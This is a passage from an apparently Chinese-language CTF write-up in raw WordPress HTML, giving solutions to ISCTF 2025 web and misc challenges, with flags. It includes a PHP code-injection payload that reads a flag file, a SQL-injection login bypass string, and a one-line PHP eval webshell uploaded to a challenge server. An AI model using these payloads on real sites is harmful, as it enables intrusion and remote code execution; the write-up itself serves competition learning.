src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1596\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5347\u7ea7payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?code=chdir(dirname(dirname(dirname(getcwd()))));highlight_file(flag);\n\/\/\u6216\u8005\n?code=chdir(dirname(dirname(dirname(getcwd()))));readfile(flag);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">payload\u89e3\u6790<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chdir \u662f PHP \u4e2d\u7684\u51fd\u6570\uff0c\u7528\u4e8e\u66f4\u6539\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u3002\ndirname \u662f PHP \u5185\u7f6e\u51fd\u6570\uff0c\u7528\u4e8e\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u4e0a\u4e00\u7ea7\u76ee\u5f55\u3002\ngetcwd() \u8fd4\u56de\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u7684\u8def\u5f84\u3002\nhighlight_file \u7528\u4e8e\u9ad8\u4eae\u663e\u793a\u6587\u4ef6\u5185\u5bb9\uff08\u901a\u5e38\u662f PHP \u6587\u4ef6\uff09\uff0c\u5e76\u5c06\u5176\u8f93\u51fa\u5230\u6d4f\u89c8\u5668\u3002<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u5c06\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u5207\u6362\u5230\u6bd4\u5f53\u524d\u76ee\u5f55\u4f4e\u4e09\u7ea7\u7684\u76ee\u5f55\u3002<\/li>\n\n\n\n<li>\u5c1d\u8bd5\u9ad8\u4eae\u663e\u793a\u6307\u5b9a\u6587\u4ef6\u7684\u5185\u5bb9\uff08\u901a\u5e38\u662f flag \u6587\u4ef6\uff09<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-32-1024x376.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"376\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-32-1024x376.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1597\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">flag\u5230\u5e95\u5728\u54ea<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-33.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"656\" height=\"949\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-33.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1598\"  sizes=\"auto, (max-width: 656px) 100vw, 656px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5c0f\u84dd\u9ca8\u90e8\u7f72\u4e86\u4e00\u4e2a\u7f51\u9875\u9879\u76ee\uff0c\u4f46\u662f\u600e\u4e48403\u554a\uff0c\u597d\u50cf\u4ec0\u4e48\u722c\u866b\u4ec0\u4e48\u7684<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5ba1\u9898<br>\u6839\u636e\u9898\u76ee\u548c\u63d0\u793a\u77e5\u9053\u7528\u6237\u662fadmin<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5e76\u4e14\u5c0f\u84dd\u9ca8\u8bf4\u8d26\u6237\u5fc5\u987b\u662fadmin\u54e6\uff0c\u4e0d\u8981\u5728\u7528\u6237\u540d\u4e0a\u505a\u5c1d\u8bd5\u5566! \u5982\u679c\u8981\u4f7f\u7528\u903b\u8f91\u8fd0\u7b97\u7b26\u8bf7\u4f7f\u7528\u5927\u5199<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u601d\u8def1\uff1a\u5bc6\u7801\u7206\u7834 ==&gt; \u540e\u7eed\u8fdb\u884c\u6d4b\u8bd5\u5931\u8d25<br>\u601d\u8def2\uff1a\u4e07\u80fd\u5bc6\u7801 ==&gt; &#8221; OR &#8216;1&#8217;=&#8217;1&#8242; &#8212; &#8216;<br>\u6839\u636erobots.txt\u534f\u8bae\u5f97\u5230\u5176\u5b9e\u76ee\u5f55\u626b\u63cf\u4e5f\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-34-1024x478.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"478\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-34-1024x478.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1599\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ddf\u8fdb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/admin\/login.php<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-35-1024x468.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"468\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-35-1024x468.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1600\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u540c\u6837\u4e5f\u63d0\u793a\u4e86username=admin<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e07\u80fd\u5bc6\u7801\u8fdb\u5165<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' OR '1'='1' --\n'' OR '1'='1' -- '<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ddf\u7740\u63d0\u793a\u8d70\u5c31\u884c\u4e86\u4e0a\u4f20webshell\u8681\u5251\u8fde\u63a5\u62ff\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-36-1024x413.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"413\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-36-1024x413.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1601\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">1.php<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php @eval($_REQUEST&#91;8]);?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-37-1024x326.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"326\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-37-1024x326.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1602\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fde\u63a5\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;challenge.bluesharkinfo.com:25632\/1.php<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-38-1024x661.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"661\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-38-1024x661.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1603\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Misc<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Guess\uff01<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"635\" height=\"639\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1604\"  sizes=\"auto, (max-width: 635px) 100vw, 635px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-40-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-40-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1605\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b80\u5355\u731c\u731c\u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{9ueSs_thE_@n$weR}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e56\u5fc3\u4ead\u770b\u96ea<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-41.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"584\" height=\"606\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-41.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1606\"  sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u4e2a\u56fe\u7247\u548c\u811a\u672c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">py\u811a\u672c\u5e94\u8be5\u662f\u5bc6\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>a = b'*********' #\u8fd9\u4e2a\u4e1c\u897f\u4f60\u4ee5\u540e\u8981\u7528\u5230\nb = b'blueshark' \nc = bytes(&#91;x ^ y for x, y in zip(a, b)])\nprint(c.hex())\n#c = 53591611155a51405e<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-42.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"869\" height=\"69\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-42.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1607\"  sizes=\"auto, (max-width: 869px) 100vw, 869px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd0\u884c\u51fa\u6765\u662f\u8fd9\u4e2a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u6587\u662f 53591611155a51405e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u89e3\u9898\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u9898\u76ee\u7ed9\u51fa\u7684\u5bc6\u6587\uff08\u6ce8\u610f\u4e0d\u662f\u4f60\u6d4b\u8bd5\u7528\u7684\uff09\nc_hex = '53591611155a51405e'\n# \u5bc6\u94a5\uff08\u53ef\u80fd\u662f\u63d0\u793a\uff09\nkey = b'blueshark'\n\n# \u8f6c\u6362\u5bc6\u6587\nc = bytes.fromhex(c_hex)\n\n# \u5f02\u6216\u89e3\u5bc6\nflag_part = bytes(&#91;x ^ y for x, y in zip(key, c)])\n\nprint(\"Decrypted:\", flag_part.decode())\n# \u8f93\u51fa: 15ctf2025<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-43.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"875\" height=\"70\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-43.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1608\"  sizes=\"auto, (max-width: 875px) 100vw, 875px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>15ctf2025<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5e94\u8be5\u662f\u5bc6\u94a5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u56fe\u7247\u91cc\u9762\u6709\u4e00\u4e2a\u538b\u7f29\u5305<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-44.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"836\" height=\"783\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-44.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1609\"  sizes=\"auto, (max-width: 836px) 100vw, 836px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u6ca1\u6709\u6587\u4ef6\u5934<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">14\u7684\u8bf4\u660e\u662fzip<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>50 4B 03 04<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-45.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1008\" height=\"734\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-45.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1610\"  sizes=\"auto, (max-width: 1008px) 100vw, 1008px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-46.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"836\" height=\"784\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-46.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1611\"  sizes=\"auto, (max-width: 836px) 100vw, 836px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636e\u9898\u76ee\u540d\u79f0\u6240\u4ee5\u662fsnow\u9690\u5199 \u5bc6\u94a5\u5e94\u8be5\u8fd8\u662f\u8fd9\u4e2a15ctf2025<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>D:ToolMisc\u56fe\u7247\u9690\u5199snow\u89e3\u5bc6a4d1d-main&gt;SNOW.EXE -C -p 15ctf2025 flag.txt\nISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-47.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"990\" height=\"111\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-47.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1612\"  sizes=\"auto, (max-width: 990px) 100vw, 990px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u661f\u9ad3\u5b9d\u76d2<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u56fe\u7247foremost<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u6709\u4e00\u4e2a\u538b\u7f29\u5305<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u538b\u7f29\u5305\u5185\u5bb9<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-48-1024x512.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"512\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-48-1024x512.png\" 